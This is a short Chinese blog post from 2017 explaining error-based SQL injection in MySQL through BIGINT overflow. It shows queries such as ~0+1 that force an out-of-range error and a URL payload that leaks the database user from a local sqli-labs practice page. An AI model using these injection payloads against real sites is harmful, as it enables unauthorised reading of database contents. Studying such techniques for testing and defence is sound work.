MYSQL利用BIGINT溢出爆错注入

MYSQL数据库存储类型的大小示意图 

测试版本MYSQL5.5.5 当运算结果超过上图所示的范围时,则会爆出一个bigint value is out of range的错误,比如

select 99491949841949+1;

我们执行一个~0即是返回无符号的最大值

select ~0 ;

我们用~0+1即会爆出bigint value is out of range错误

select ~0+1;

1.在select语句的利用

select !(select * from (select user())x);

具体的场景中执行的完整SQL语句可能为:

select ~0+!(select * from (select user())x);

 

http://127.0.0.1/sql/Less-1/?id=1' or !(select * from (select user())x)-~0 -- -

 

 

posted @ 2017-04-27 16:30  archie’s  阅读(329)  评论(0)    收藏  举报